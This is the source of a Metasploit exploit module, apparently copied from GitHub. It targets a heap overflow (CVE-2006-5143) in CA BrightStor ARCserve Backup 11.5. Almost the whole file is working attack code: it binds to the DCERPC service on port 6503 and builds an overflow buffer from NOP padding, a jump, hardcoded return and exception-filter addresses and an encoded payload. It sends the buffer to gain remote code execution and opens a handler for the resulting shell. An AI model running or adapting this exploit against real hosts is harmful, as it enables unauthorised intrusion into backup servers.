/
message_engine_heap.rb
75 lines (64 loc) · 2.04 KB
/
message_engine_heap.rb
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::DCERPC
def initialize(info = {})
super(update_info(info,
'Name' => 'CA BrightStor ARCserve Message Engine Heap Overflow',
'Description' => %q{
This module exploits a heap overflow in Computer Associates BrightStor ARCserve Backup
11.5. By sending a specially crafted RPC request, an attacker could overflow the
buffer and execute arbitrary code.
},
'Author' => [ 'MC' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2006-5143' ],
[ 'OSVDB', '29533' ],
[ 'BID', '20365' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 800,
'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
['Windows 2000 SP4 English', { 'Ret' => 0x7c2f6cc8, 'UEF' => 0x7c54144c } ],
],
'DisclosureDate' => '2006-10-05',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6503)
])
end
def exploit
connect
handle = dcerpc_handle('dc246bf0-7a7a-11ce-9f88-00805fe43838', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
print_status("Binding to #{handle} ...")
dcerpc_bind(handle)
print_status("Bound to #{handle} ...")
# straight forward heap stuffz
sploit = make_nops(680) + "\xeb\x0a" + make_nops(2) + [ target.ret ].pack('V')
sploit << [ target['UEF'] ].pack('V') + payload.encoded
print_status("Trying target #{target.name}...")
begin
dcerpc_call(43, sploit)
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
end
handler
disconnect
end
end